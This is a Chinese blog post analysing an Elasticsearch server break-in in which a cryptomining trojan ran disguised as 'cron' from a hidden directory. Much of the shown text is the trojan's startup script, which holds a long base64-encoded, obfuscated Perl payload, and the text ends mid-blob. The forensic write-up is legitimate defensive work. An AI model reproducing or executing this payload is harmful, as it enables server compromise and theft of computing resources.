分享一次惨痛亲身经历之es服务服务器被入侵植入挖矿木马溯源分析

分享一次惨痛亲身经历之es服务服务器被入侵植入挖矿木马溯源分析

555发表于2020-02-14

最近es服务老是被kill,然后通过top查看有一个进程cpu占用特别高。经过各方面的努力排查才知道是被入侵植入挖矿木马。看来还自己之前是缺乏这方面的经验。下面我给大家分享一下我的排查过程。

一、top查看资源占用情况

from clipboard

以上用户ela也就是我es使用的用户名,运行cpu占用1597%也,因为我们服务器是多核。这也太高了吧,运行进程是cron。

起初这个进程还把我迷惑了,以为是es自己带的任务。

二、查看进程真正的路径

ll /proc/40757


from clipboard

/home/ela目录创建了一个隐藏目录,应该就是木马所在的目录,取的句子也有迷惑性。

下面我们看看里面都有些什么东东?

from clipboard


这个文件就是木马的启动文件,看看里面有什么鬼?

from clipboard


from clipboard

[root@localhost ~]# cat /home/ela/.bashtemp/b/run

#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0MkUi0yPEA9NllMOTctUygiMVM5NylWXzo2MU88Q0wqOzdEQCknIU88RzFBLzI8VC0jLEcuUElNPjIhYDhWJU44NkVTLzJAQihTYFAtUihJLlBJTT4yIWA4NjFNPFNUSChEJEIrIik4KEJEW18iRlVZKCQhQT03MUgvMkBCOyZdQzg2UUg7Vy1UKEJEWyJASU0+MmBEOyZFTjg3LT87NiVYLzM4WyJGVVkoIjFTOyY1RTwjVFMuUEgqOzdEQCkmWUlfOFZMQC8yIUc5NzFOOjYtSyoiRFsiRlVZKCIxSTxGLU44NlVFKCNUQDlWNVQ7RkVDOlJASS5QSU0+MmBEPEY1QTsmWUE7NjRALzJgSDgnNU44NlVFXygiVUE4IkRbIkBJTT4yYEQ4Ni1FPFctTzxWQUU7JlBALzJgUS5QSU0+MmBEPCcpRTlGRVg7UmBdKCIoQSgiKFsiRlVZKCIxRTxXMUE9JkVTPSZFQ184NyxALzJgUC5QSU0+MmBEPCYlQztXMUU8UmBdKCMkWyJASU0+MmBENUQ1MjRUJS8oI1RAKVNgTixGJEcuUEgqKSUtKTFXTEcyNFk0KVdUQC8yYEdfMjQ9LjNVKSUpU0wqKSUtKTFXTEcyJTUwKVdUQC8yYEcyND0uM1UpJSlTTCopJS0pMVdMRzUkNTIzMj1dKCNUQClURSczRF0yMTI8WyJCMTMyND1bXylULSgzJDBHPzJgXSgiPSkxVFkvNEQ0Ry5QSEQ0VEUnPlI9MDRSPV0oI1RAKVRFJzNEXTIxMjxbIkBJVTxWNEAyNFxaLkUtTzhWTUU9I0wqPTctRV8oJS1POFZNRT0jTCo9Ny1FKCRFLy5DSTM5NlFFOFcwWyJGLUg5JkVSKiIoTyhCRFsiQjFTOTcpVjo2MU88Q1RCKSQlMjFVOTssJVRCKCZFRigiMSFfNEQ9NjZTIT0uUEhELCNUQiknIVI7Vi1FPFctTyhCWEI3I2BCLlBJTT4yYEQ8JkVELzY5TzxGTFsiRjVYOjcwQDo2OEApJyFJOSNMKjkmRUUoIikwXzxGXUI7JjVNODIhQztWVEA7UiFGO1cpSy5CYEQoMihAPTZZTDk3LVMoJjFFOUZFTjk2MEgpJyFJOSJEWyJASU0+MmBFOjcpQzdXLUU8RzlFPEcsW18iRlVZKCI1JDBULFsiRlVZKCIxRDhWLT88VjVMKCNUQDtGNVcoJEUvLkNJMzk2UUU4VzBNL0ZZRT1SQEkuUEgqIkBIKjxXNUIoJj1FPSZZSThWTEBfPlBIQCgnKUU9JzVSO0JgQj4iKE46NllUKicpQTtGMEguM0RZLjJESStCKE0oQllJO0cwSDxGJU45IkBZLjNEWSoyRFsiR1QqIkBJUz02KEA5VjVUXzo2MUU7RzBAPlBIQCgmVVkoIjFSOTcxTzxGWU86NjFFO0cwQC8yYEY3Vj1FPSJAQjonMVQ8I0hPK1c9Vz1SWU06NllQO1dgTjhWXU0rVy1LLDMpUF84Ni1LK1ZFRDk2WVQ8UllQOidgQiozTCooIiFNPjJgRDo2MUU7RzFDOiYlTjhWNEAvMiFJO0cwSDxGJU45IkBRLCNgUCoyRFsiQmBAOjY4QCoiMUlfOSY1Tj0mLUg4NllDOTJgXigjLFAqMiFbIkJgQCgiYEA8RjVUPTcpTigiMU46Ni1LLlBIQCgnVEA5NlFTOTIhWyJCYEAoImBAPEY1VD03KU4oIjFSXzk3MU88RllPOjYxRTtHMFsiQmBAPzBIQCgnKUU9JzVSO0JgRDxGNVQ7VylOO1ZFRDk2WVQuUEldIkBJUz02KEA5VjVUO0YlTTkyIVsiQmBAOzdEQF8pJylFPSZdUjtGXU44NlVFKCNUQClFXUc5NzBIKEZBVD0nYForUl1XPVc8Tjs2RU48Jl1QK0YtTzsyXVM6UyRSPCYlQzpSXU44NlVFPFJZUDonYEJfKjNMKigiIVI5NzFVPEZYQCknKUU9Jl1SO0ZdTjg2VUUuUEldIkBJUz02KEA5VjVUOjYxRTtHMFIoJ0wqKCJgQCgiYEAoIiFNPjJgRDsmNU45VzFIXy83LUg6NjlULlBIQCgiYEAoImBAKCIxTDk2WUc9JkBALzJgUygmRUYoIkBEOyY1TjlXMUgoI1BALFJEWyJASEAoImBAKCJgQCgmVVkoJCFDOiYlUl88U1RIKVYkRytCWEc+QjxMKVQkRytCWEc2QjxMKVMkRytCWEcuMjxJLlBIQCgiYEAoImBAKCY5TzxGNUE4VkBAKiMkTitCMUw5NllHPSZASSJCYEBfKCJgQCgiYEA+UEhAKCJgQCgiYEAoImBAKCJgQCgiYEApJylBO0YxTzs3LVQ8RkVOOVJYXSkmLUg4NylTNlcpQTtGMEAwJi1IODcpUzczTCooImBAXygiYEAoIiFdIkJgQCgiYEAoImBAPEY1VD03KU4oIjFSODZZRDtWVVM9JylJO0Y8WyJHVCoiRy1VOEIhRzk3MVM9Jl1SOTJgSCkiMEkiR0wqKCIhTV8+MmBEPTcpTCgjVEA8VkFJOUcwWyJCYEA7N0RAKSY5STsmNEAvMiFTOiZFRj0jTCoiQmBAKSZBVD0nIT88VzFSOTYlTTdWXVU9ImBdKCMkWyJCYEBfO1chRTtCQScxNTE/M1U1NDFERSwxMlBAKENYQCkmOUk7JjRCKjNMKigiYEU6JzFUPCVdTDtWXVA3Vi1IOTYtSygjVEAqIkRbIkJgQDdWPUU9IkBEXz03KUwqM0wqKCIhQzsmXVM5MiEnMTUxPzNVNTQxREUsMTNMKigiIVI5NzFVPEZYQCkmVUE6NlhaLkZBVD0nIT85VjVUN1cpRTxXNUw9I0wqPzBIKl88VzVCKCVdRzk3MCo+UEhAKCZVWSgiMVU8RlBALzIhUzomRUY9I0wqKCIhTT4yYEQ8JylPPidEQC8yYEIoQ0wqKCIhRzxGNVAoJ0xIOyYsSCklXElfKCY1USgiKUg9JzFQN1chUjtXQVkoQkRAKUI4QCoiMVA8Rl1YPjJgXSgiMSUzRTlbKSVdXSo3VEA6VjVZPFJgRTE0WTYuUEhAKCZFRigiQEgpJyFSXztXQVkoJjVRKCIoQioyYEYpQmBEPTcpTCgjVV4oJlRMN0ZBVD0nYForUlxINlVYTy5FVEsqMkBfLkNISDcmMEsqMkRfKiJdPDRSSEkvUjBMKjIhW18iQmBAKCIhTT4yYEQ6Jl1TPSJgXSgiMFEuUEhAKCJgQDs3REApJyFPPEcwQC8yYEQsQiFcPyJgWCwjTCooImBAKCZVWSgiMVA4NzFIKCNUQCkjLFtfIkJgQCgiYEQ8JiVUOiJgXSgiKE8oQiFVO0ZRRTxXLEA5JjVGOjZZRTkiQEQ8JiVUOiJEWyJCYEAoIiFSOTcxVTxGWEA3VzFSOjc5STg2UT86JzFUXzwlXUc5NzBIKSZBTzxXMEwoIjFQO1cpVCsiYEQ8JiVUOiJEWyJCYEA/MiFFOyctSTlCYEgpJyFSO1dBWSgjVV4oJlRMN0ZBVD0nYForUlxINlVYT18uRVRLKjNISDcmMEsqMkBPNyUsSiozXEQrIkRAPlBIQCgiYEA7N0RAKSZBTzxXMEAvMmBELDNMKigiYEAoJlVZKCIxUDtXKVQoI1RAKSMoWyJCYEBfKCIhTT4yYEQ8JiVUOiJgXSgiMVU8RlBbIkJgQCgiIVI5NzFVPEZYQDdXMVI6NzlJODZRPzonMVQ8JV1HOTcwSCkmQU88VzBMKCIxUDtXKVQrImBEXzwmJVQ6IkRbIkJgQD8yIUU7Jy1FKCdMKigiYEAoJylFPSc1UjtCIVU7RjFFOUNMKigiIV0iR1QqIkBJUz02KEA3VzFSOjc5STg2UT86JzFUPCVdR185NzAqPlBIQCgmVVkqIjFIO1ctVCsiYEQ8Jl1SPSJQQCknIUE9JkBJKCNUQDAlXFsiQmBAOzdESCkkJScxNFk0KyJgRDVENTI0VEUvM0JQQCknYElfLlBIKigiYEQwND0lM0UwQC8yYEI5VjVUKzZVSTtGRU04NlBCLlBIQCgiMTYxNSkzMjRdLigjVEAoQyhQLCNgUCwzJFgoQ0wqIkJgQCknIUE9JkBAXy83WEA8UlxAK1I0UiwiXUcuUEgqKCIhUjk3JVU6NylFKCRFLy5DSTM7Vi1LOTcwWyJCYEA7Jl1DODZQSCklWTcqMmBdKCNgWyJCYEA7N0RAKSctT184VkxALzIhKTNTSFo0Vl1DOlY1VC5DSSkzRDU0KzNZTjk3PEg0JjVFPEQlRDknKEAvM1hAKSZBTzxXMEwiQmBAKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgQCgiYEAoImBAKCJgQCgiYEAoImBANCY1RTxFIU88RzBALzNYQCknIU88RzBMIkJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAXygiYEAoImBAKCJgQDQnKU89JlxAKCJgXS9CYEc9Ji1QKVJQKigiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCIhNF86NlVFO1c1VCgiYF0vQmBWLCJEQD8nUEA8RjVUPTcpTi5QSEAoIjFTO1YtSyszWUE9NzFPOUZRVTxWQFsiQmBAOzdEQCkmWUU9JlFPOFJgXSgiMUhfO1ctVC5QSEAoIjFOOTcxTDtWLEArQ1RAKENIRDwmXVI9IihAOjY4QCknIU88RzBAKDNUQC4jYFsiQmBAOzdEQCknKUU8NzVFPFcwQC8yYEIxVDU0XygiMVA4NzFIKCRBNDUlYE8sMlhQNyNgUS01UFAsMyhCIkJgQCgiYEAoImBAKCJgQCgiYEArQmBCMiZdUz0jSEApJllFPSZRTzhVUFAsMzU8LCMkUl8oQEhAKCJgQCgiYEAoImBAKCJgQCgiWEAoRTVTOTcoTTA2PUU7RzBaKCIxITFUNS41IlxENUQ1MjRURS8zQl1VNyNgUS01UFAsMyhCLlBIQCgiMVJfOTclVTk3LVQoIlhdKCIpMDxGJUc7NiRaKCZZTys2LUE4VkFFNyNgUS01UFAsMyhCKCZFRigiQEQ7NiVJO0NIWjonMVQ8JV1OO1VdQzg2LUg5MkRbXyJCYEApJylFPDc1RTxXMEArQ1RAKEVQUCwzNTwsIyRSKENMKigiIVA8RkVOPSJgRDxWXUM6UmBEPEY1UT02NVM9I0wqIkJgQDs3REApJilVOUJgXV8oIihCLlBIQCgmVVkoIjFOLlBIQCgmVVkoIjFCLDJgXSgiKEIuUEhAKCc9SDo2UUUoIkBEO0JgXSgnLVk8VylFODYwSCknLU84VkxMKCIxQj02OExfKCNASiwzYFItIlBAOyY1TjlXMUgqIjFCPTY4SSoyREA+UEhAKCJgQDo2OEAqIjFCLDIhRTwyYEIoQkRAPlJgKigiYEAoImBAKSYoUSgjVEApJilVXzlDTEAoImBAKCJgQCgiYCooImBAKCJgQCkmKVU5QmBdP0IhUytSWEsvVVBQLDM0XzcjYFEsRVBQLDM0XzcjYFEsQlxPPFNMQCgiYEAoImAqKCJgQF8oJ1QqKCJgQCgmRUYoIkBEOicxVDwlXVM9JylFODZVPztXNVQqMiFbKCchUjo2WVQoJD0lNSVdLzU1MSYyNFElKCIxQj02OFsoIjFCPTY4QC8yYEJfKENMQD8wSEAoJ1QqKCIhUjk3MVU8RlhAPTZZRDk2OEA9NllMOTctUygmMUU5RkVOOTYwSCkmWEkuUEgqKCJgRDs2JUk7Q0haOicxVDwlXUc5NzE/XzxGNVM9NlFUKCNUQCxDYFAuUEhAKCZFRigiQEQ4QyRALzdYQDsyUT4yJTE0NCJdPDkiTTwrRVFEKlVRUypSQTw5IkxJNlVZPCwjJFI3Mkk8LCMkUl8rIkRAPlBIQCgiYEApJlVBOjZYWi5GQVQ9JyE/OVY1VDdXKUU8VzVMPSJgXSgiMFEuUEhAKCJgQDo2OEAqIjFNODZFTi5DSUg9JzFQN1Y9RT0lXVJfOTctVTsnMEAvN1hAK1VYUywlTFEsQyxXNzJcQClCOEApJihRKCNVXigiXTwsIyRSMyZdQzg3MUk7VlhaNycsSiolUTMqUkRPIkJEQD5QSEAoImBAXygiIU0+MmBEPTcpTCgjVEApIyRbIkJgQCgiYEAoJylFPSc1UjtCIVU7RjFFOUIhSTlCYEQ6JzFUPCVdTDtWXVA3Vi1IOTYtSz5SMVU8RlFdKlJMW18iQmBAKCJgQCgnKUU9JzVSO0IhPzlWNVQqIjFVPEZQSS5QSEAoImBAPzBIQCgiYEA8RjVUPTcpTignNU45JjVGKCc1TjsmNVM8UmBEOzYlSTtDSFpfOicxVDwlXUc5NzE/PEY1Uz02UVQoI1VeKCJdPixCXFsiQmBAPzBIKigiIVI5NzFVPEZYQCkmKVU5Q0wqPzBIKiJCMVM5NlE/OFZRSTk2WVQ5MmBdXygkRS8uQ0kzOTZRRThXME0vRllFPVJASS5QSVM9NihAPFY1TjknKUE9UiFbIkJgQDo2OEAqIjBDN1JgXS8yYEcsMjxJKCdMKigiYEAoJlVZKCIxU187Vi1LOTcwQC8yYEQ3VUxQNzNMKigiYEAoJyFSOjZZVCgiMVM7Vi1LOTcwQChCMT82UyU9NyZYQi5QSEAoJ1RAOTZRUzkyIVsiQmBAKCJgQCgnIVJfOjZZVCgiMSk0RC0/OFc1UjdXLU84Vk1FPSJgQiklXTssJVU8O0IoWyJCYEA/MEldIkBJUz02KEA4Vl1OOTYtVDg3KEA+UEhAKCIhTT4yYEQ7NjVVXztGRUM6UmBdKCIxPzZTIT0uUEhAKCIhTT4yYEQ8VjVSPUZFRDtXKT84Vl1OKCNUQCklXTssNVRbIkJgQCgmVVkoIjFQO1cpVDg1XUM7VlhALzJgRF83VUxSNzNMKiJCYEAoJlVZKCIxKTRELT88Vl1DOlY1VCgjVEAyNFxaLkUtTzhWTUU9I0haMjRZJTUiVF47RjVXKiUhUjtXMU8vM1hCPSYtUChCUEBfNCY1RTxEJUQ5JyhdL0IoRDxWNVI9RkVEO1cpPzhWXU4oQlBANCY1RTxFIU88RzBdL0IxUDtXKVQ4NV1DO1ZYSSgmXVIoJylFPSc1UjtCQFEqM0wqXygiYEA6NjhAKiYxRTlGRU45NjBIKSRFMjBVXVM7Vi1LOTcwSSoyIVsiQmBAKCJgQCkkRTIwVV1DPTcpPzxWXUM6VjVUKCNUQCkkRTIwVV1TO1YtS185NzBbIkBIQCgiYEAoIjEpNEQtPzxWXUM6VjVUKzNZQT03MU85RlFVPFZASCwyRFsiQmBAKCJgQCknLUU7JV1DOyZFRTtHMUUrM1lBOSYwSCkkRTJfMFVdUztWLUs5NzBJLlBIKigiYEAoImBEOjcpQzdXLUU8RzlFPEctWykkRTIwVV1DPTcpPzxWXUM6VjVUPzdMRzomXVM9Ij1dKCNUQChCMVM5NylWXzo2MU88RV1DO1ZYQi5QSEAoImBAKCIxSTxGLT88VjVSPUY1UjxXTEQyNSkjN1YtVTxFXVM7Vi1LOTcxXT5SPVA7VylUODI9XSgjVEAoQjFQO1cpVF84NV1DO1ZYQi5QSEAoImBAKCIxSTxGLT88VjVSPUY1UjxXTEQyNSkjN1YtVTxFXVM7Vi1LOTcxXT5SPU46Ni1LKVdUQC8yYEQ7NjVVO0ZFQzpTTCpfKCJgQCgiYEQ6NylDN1ctRTxHOUU8Ry1bKSRFMjBVXUM9Nyk/PFZdQzpWNVQ/N0xHOzY1VTo3YEc/MmBdKCIxKTRELT88Vl1DOlY1VCszWVM7Vi1LXzomXVM9I0wqKCJgQCgiIU46Ni1LKiIoRDs2NVU7RkVDOlIoSS5QSEAoImBAKCctRTtGMVI4NzxIKEU1MzE1KEApJkVSOFZZQTs2NEAoQlhEMjUpI183Vy1POFZNRT0iVF48Vl1DOlZBTzxXME4oQmBEPFY1Uj1GRUQ7Vyk/OFZdTigjSEQ8RjVBOyZZQTs2NEIqM0wqKCJgQCgiIVM7JjVFPCJgUi5QSEBfKCIhXSJASV0iRlVZKCIxTDo2WUU3VzFFOzdgWyJHPUg6NlFFKiJgUSgiREA+UEhAKCIhVzomRUw5MmBIKDJBSzk3RVMqIjVJPEYtPzxWNVI9RjVSXzxSREkqMiFbKCYtTztGNUM9JiVSKiIoRDtGRUM6UihMKCIoRDxWNVI9RkVEO1coQisiYEIpJyFPPEcxQShCRFsoJ1QqKCJgQDkmNUw5NzFFKiIxSV88Ri0/PFY1Uj1GNVI8V0xHKVdUSSgmRUYoIkFEOTY5STtGNUQqIjFJPEYtPzxWNVI9RjVSPFdMRylXVEkqM0wqKCJgQClEMSMwU0haOFZdTjtGNUNfPSZFTztHLFsiQmBAKCZVWSgkIVI5NiVEPjJgXSgiMVM5NlE/OFZRSTk2WVQ5MlReOFYlTjdXKUU4NjBILCJYViozTCooImBAO0Y1WD0iIVU7RlFFXzxXLEgwJylFODYxWSozTCooImBAOUZdUjk2JUM6ImBEOUZAQCokIVI5NiVEPjJEQD5QSEAoImBAKCIxKTRELT84VzVSN1ctTzhWTUU9ImBdKCIxRl86I0wqKCJgQCgiYEQ7NjVVO0ZFQzpSYF0oIjFJPEYtPzxWNVI9RjVSPFdMRDI1KSM3Vi1VPEVdUztWLUs5NzFdPlI9Tjo2LUspV1RbIkJgQCgiYEBfKSZZUjk2JUQoI1RAPFdFUzxGNUE5IkBEOUZATCgiMU08VjxMKCMwUC4zOEkuUEhAKCJgQCgmRUYoIkBEO0cpRTg2MEAvM1RALCJEQD5QSEAoImBAXygiYEAoIjFTOTZRPzhWUUk5NllUOTJUXjxGNU07VzlFKiIxRjoiRFsiQmBAKCJgQCgiYEApJjlIKzNZQzsmXVM5M0wqKCJgQCgiYEAoIiFEOTZRRV89JjRIKSZFUjhVXVM5NylWOTcpUz5SMUY6J1RJLlBIQCgiYEAoJ1QqKCJgQCgiIWA7JkVOOTcsQC8yIVM8JlFJPSJgSCtVUU4rUlBAKSZVUzlSRFtfIkBIQCgiYEAoJjlPPEJBTT4yYEQ4U1RQLlJgRDhTUF0oIjBDOyZFTjk3LFsoIjFDKlJMSSgnTCooImBAKCJgQCgiMUw6NllFKCNUQCkmUUk7RjVTXzZSMUM3M0wqKCJgQCgiYEAoIjFMOjZZRS8yMUw6NllFN1cxRTs3YE4pJlFJO0Y0QDo2OEAqIjFMOjZZRTdXMUU7N2BJLlBIQCgiYEAoImBAKSZRSV87RjU/PSY1TTwjVEcpU0wqKCJgQCgiYEAoIjFMOjZZRSgjVV4oJyxPNycoRCtSXFsiQmBAKCJgQCgiIVU7RlFFPFcsQCoiMUMoI1RdKCIwQzsmRU5fOTcsSSgnTCooImBAKCJgQCgiYEA8JiVSPFY0SChCMUw6NllFKEJEWyJCYEAoImBAKCIhXSgmNUw8VjRAPlBIQCgiYEAoImBAKCJgQCgmRUYoIkBEXyhWUUk7RjVTKCNUXSgjYEkoJ0wqKCJgQCgiYEAoImBAKCJgQCgnIUE8Ry1FKiIoRDsmRU45MihJLlBIQCgiYEAoImBAKCJgQCgnVEA5NlFTOjY4QF8qIjFMOjZZRTxVTEQ4VVRALzdYQCtVUVIpIlxJKCdMKigiYEAoImBAKCJgQCgiYEAoImBAPCYlUjxWNEgoQjFMOjZZRShCRFsiQmBAKCJgQCgiYEBfKCJgQD8yIUU7Jy1JOUJgSCkmUUk7RjRALzdYQCtVWEg3JSxLKjIhLjNVMSkwVDRAMDU1NDIiYFo3Ikk8KkVQSitSREA+UEhAKCJgQCgiYEAoImBAXygiYEAoIiFQODcpUzkyQEIpJlFJO0Y0QiozTCooImBAKCJgQCgiYEAoIiFdKCY1TDxWNEA+UEhAKCJgQCgiYEAoImBAKCJgQCgiYEQ7JkVOOTVdVF85NlVQKCNUQCkmUUk7RjRbIkJgQCgiYEAoImBAKCJgQD8wSEAoImBAKCJgQD8wSEAoImBAKCIhXSJCYEAoJ1QqPzBIKjxXNUIoJyFBPEctRSgnTCpfKCJgQDs3REApJy1FPEc5QTxGPEAvMiFTOiZFRj0jTCooImBAOjY4QCoiMVM5NylWODcpRygjVV4oIl0+NCRFLjFSITwuQkBOKkJETyoyIVsiQmBAXygiYEA8VjVOOScpQT1SQEI0JF0uMVJgWikjJEIqM0wqKCJgQD8yIUU7Jy1JOUJgSCknLUU8RzlBPEY8QC83WEArVVk8LkJATipTXEk3IiRIK0JMX18qNVFgKiJYSy9SREA0JSkpNURVMzFSYEgrQkxfKjIhPC5CQE4qUkRPKjIhWyJCYEAoImBAKCIhTT4yYEQ8JlhdKSMkWygmVVkoIjFPO0YxRSgjVEBfKSMwWygmVVkoIjFBPEY9UygjVEApIzRbIkJgQCgiYEAoIiFJOUJgSCkmJVI5VyxALzdYQCtVWTwsI2BRNUQ1MjRURS8zRVBQLCMkRCtSREA+UEhAXygiYEAoImBAKCIhTjtXMUk4VjRIKEIxUDtCKEwoIik8LCNgUTVENTI0VEUvM0IhTTI1KSMoJzhWK0MkVigkNS4xMiEhMyRFLigkPSEwRSkpMTRRPF8sI2BRKEJEWyJCYEAoImBAKCIhXSJCYEAoImBAKCIhRTsnLUk5QmBIKSYlUjlXLEAvN1hAK1VZPCwjYFE0JEUuMVVRUypSQTw5IkxJNyNgUCwyME9fKjIhWyJCYEAoImBAKCJgQCgmWU89JkVDOTJAQiknIU4oQlBAKEVQUCwjJTAzVFknNyNgUCwyKEkuUEhAKCJgQCgiYEA/MEhAKCJgQCgiYEA5NlFTXzo2OEAqJj1SOTdgQD5SMT8oI1VeKCJdPjclJEQ8Jlk8MTIwTzoyIV0oJCFBOSZVUyoyIVsiQmBAKCJgQCgiYEAoJkVGKCJARDtWWUQ5MiFFPDJgQl8pJlVFPTZZSThWTEIqN0wqKCJgQCgiYEAoImBAKCIhUzomNUw7IkBCKSchTihCUEAoQjFBPEY9UyhCRFsiQmBAKCJgQCgiYEAoImBAPzBIQCgiYEBfKCJgQCgiIUU7Jy1JOUJgSCkmJVI5VyxALzdYQCtVWEg3JSREOzY1VTtGRUM6VVElPyVRMSknIVI5NjlJPiZdPDEyRTw8UkxIK0JISStSYEkoJ0wqXygiYEAoImBAKCJgQCgiYEA7N0RAKSZZQT0nKUk+ImBdKCIwUS5QSEAoImBAKCJgQCgiYEAoIiFNPjJgRDg3KUcoI1RAKSMoWyJCYEAoImBAKCJgQF8oImBAKCZFRigiQEQ4NylHKCNVXigiXT43IiRIK0JISStSREA+UEhAKCJgQCgiYEAoImBAKCJgQCgmRVI4ViVTOTJAQiknIU4oQlBCKSZdTjkmNEJfKyIoRCwyKEkoJzVOOyY1UzxSYEgpJllBPScpST4iIUU8MmBCKSchUjk2OUk+JlxCKCYlTjkiYEQ4NylHKCNVXigiXT43IiVOOjYtSytSRFsiQmBAXygiYEAoImBAKCJgQCgnVEA5NlFTOjY4QCoiMUE8RjxALzdYQCtVWTwwIkBOKkJETyoyIVsiQmBAKCJgQCgiYEAoImBAKCJgQCgiYEQ7VllEOTdgQF8vMmBEO1ZZRDkzTCooImBAKCJgQCgiYEAoImBAKCJgQCgiMU87RjFFPCJgXSgiMVA7QiFJOUJgRDtWWUQ5MiFFPDJgRDs2NVU7RkVDOlNMKigiYEBfKCJgQCgiYEAoImBAKCJgQCgmKUY9NllDKiIoRDtWWUQ5N2BCKyIoRCwyKEkuUEhAKCJgQCgiYEAoImBAKCIhXSgmNUw8VjRAPlBIQCgiYEAoImBAXygiYEAoImBAKCJgQDxWQUU7JlBIKEIxTztGMUUoQlBAKEIxQTxGPEIqM0wqKCJgQCgiYEAoImBAKCJgQD8wSEAoImBAKCJgQCgiIV0iQmBAKCJgQF8oIiFdIkJgQCgnVEA5NlFTOjY4QCoiMVM5NylWODcpRygjVV4oIl0+NyNISCtCTF8qNVBBKiJYSy9SRTwwIkBOKlNcSTcnLEszREUjMlVRUypVUFpfKiVRMypSRE86MkRAPlBIQCgiYEAoImBAOjY4QComUUMqIjBRKjIhRTwyIUw4UkBEOzY1VTtGRUM6UkRJKCdMKigiYEAoImBAKCJgQCkmVUU9NllJXzhWTF0pIzBbIkJgQCgiYEAoImBAKCIxSTxGLT88VjVSPUY1UjxXTEQyNSkjN1YtVTxFXVM7Vi1LOTcxXT5SPU46Ni1LKVdUQC8yYEQ7NjVVO0ZFQ186U0wqKCJgQCgiYEAoJ1QqKCJgQD8yIUU7Jy1JOUJgSCknLUU8RzlBPEY8QC83WEA7Ml0+NyNISCtCTF8qNVFTKlMwUyxSXUkqMiFbIkJgQCgiYEBfKCJgRDs2NVU7RkVDOlJgXSgmPUU9JllJOFZMSCozTCooImBAKCJgQCgmWUk4VkxIKEIxTTk3NU46Ni1LKEJEWyJCYEAoJ1RAOTZRUzo2OEAqIjFTXzk3KVY4NylHKCNVXigmVE83RVBaKiJYSy9SRTw8UkxQLCMlPDxSTEg3JSxLKjVRUytWREkoJ0wqKCJgQCgiYEAoIjFNOTc1Tjo2LUsoI1RAKSMoW18iQmBAKCJgQCgiYEQ6NylDN1ctRTxHOUU8Ry1bKSRFMjBVXUM9Nyk/PFZdQzpWNVQ/N0xHO0ZFQzpSPV0oI1RAKSZVRT02WUk4VkxbIkJgQCgiYEBfKCJgRDo3KUM3Vy1FPEc5RTxHLVspJEUyMFVdQz03KT88Vl1DOlY1VD83TEc7Rl1NOTI9XSgjVEAoQjBRKENMKigiYEAoImBAKCY5TzxGNUE4VkBAXzs3REApJi1BO0YlTCgiQWA4ViVOODZFUyoyIVsiQmBAKCJgQCgiYEAoJy1FO0YxUjg3PEgoREkvMjRYQCkmLUE7RiVMKEJEWyJCYEAoImBAKCIhXV8iQmBAKCdUKj8wSCo8VzVCKCYpRj02WUMoJ0wqKCIhTT4yYEQ8JylJO0cxTCgjVEApJV07LCVUWyJCYEA7N0RAKSY5VTtGLUE8RjxALzJgRDdVTFFfNzNMKigiIUk5QmBIOzdEQCknIUk5ImBdKCY5TzxGTEkoJ0wqKCJgQCgiIVc4NkVUPCZFRCoiMVA6NjBMKCNgSS5QSEAoJ1RAOTZRUzkyIVsiQmBAXygiYEAoJkVGKCJBRjtXKUsqMiFbIkJgQCgiYEAoImBAKCY1WDo3MFsiQmBAKCJgQCgiIV0oJjVMPFY0QD5QSEAoImBAKCJgQCgiYEAoJkVGKCJARF85RzVOOFYlUjlSYF0/QmBPN0chTzxHMVM4ViVOKCJATipCRE8qMiFbIkJgQCgiYEAoImBAKCJgQCgiIU0+MmBEOiZdUz0mRVAvMihELDIoWyJCYEBfKCJgQCgiYEAoImBAKCIhTT4yIWA8Jl1SPSYlUy8yQEIsQyRCKyIoUixCKEwoQyhTKEJQQixDNEIrIihVLFIoTChDQFAoQlBCLDMkUChCUEIsMzBTXyhCUEItQzhWLTIoSS5QSEAoImBAKCJgQCgiYEAoImBAOzdEQCokIUE4RjVSPSYkTCgiNVA7VylUODVdQjg2WU45NyhJLlBIQCgiYEAoImBAKCJgQF8oImBAOUZdUjk2JUM6IiFNPjJgRDwmXVI9JiRAKiQhUDtXKVQ4NyxJKCIhWyJCYEAoImBAKCJgQCgiYEAoImBAKCIhTT4yYEQ8Vi1BO0ctTzhWTEBfLzIhKTNTSFo0Vl1DOlY1VC5DSSkzRDU0KzNZTjk3PEg0JjVFPEQlRDknKEAvM1hAKSZBTzxXMUk8IlBANCY1RTxFIU88RzBALzNYQCknIU88RzFBXysiITA8Rl1UO1JgXS9CYEc9Ji1QKVJQQDUmRU05Nl1VPSJgXS9CYFQqM0wqKCJgQCgiYEAoImBAKCJgQCgiYEAoJkVGKCJARDxWLUE7Ry1POFZMSV8oJ0wqKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCchVTxWQEAqJCFBOEY1Uj0mJEwoIjFQO1cpVDgyRFsiQmBAKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgRDxWLUE7Ry1POFZMTS9GLUw7Vy1FLlBIQCgiYEAoImBAKCJgQCgiYEAoImBAPzBIQCgiYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEAoImBAXygiYEA6NjhAKiQhQThGNVI9JiRJKCdMKigiYEAoImBAKCJgQCgiYEAoImBAPFY1TjknKUE9UkBEMjUpIzdWLVU8RV1TO1YtSzk3MEwoIikwNERFNl8zNS0nKCIxUDxGRU49JlBALkUhTzxHMUE8UiFBOEY1Uj0mJVMuQiFgODYpRTxHMUEoQkRbIkJgQCgiYEAoImBAKCJgQCgiIV0oJjVMPFY0QD5QSEBfKCJgQCgiYEAoImBAKCJgQCgiYEAoJy1FO0YxUjg3PEgpJEUyMFVdQz03KT88Vl1DOlY1VCsiKTA0REU2MzUtJygiMVA8RkVOPSZQQC5EWUU7RkFVXzs2JEA8Jl1SPSYkQDg2KUU8RzFBKCY5TzoyIUU7Ri1PO0cxUjg2MUErQihJLlBIQCgiYEAoImBAKCJgQCgiYEA/MEhAKCJgQCgiYEAoImBAKCdUKl8iQmBAKCJgQCgiYEAoImBAOTZRUzo2OEAqIjFGPTZZQzg3KUcoI1VeKCJdPjkmXVc7RlFPODYxPDxSTEgrQkhJNycsSyoiWEoqMlxJKCdMKigiYEBfKCJgQCgiYEAoImBAOVY1VDxXMU88RjRIKEIwUShCUEAoQj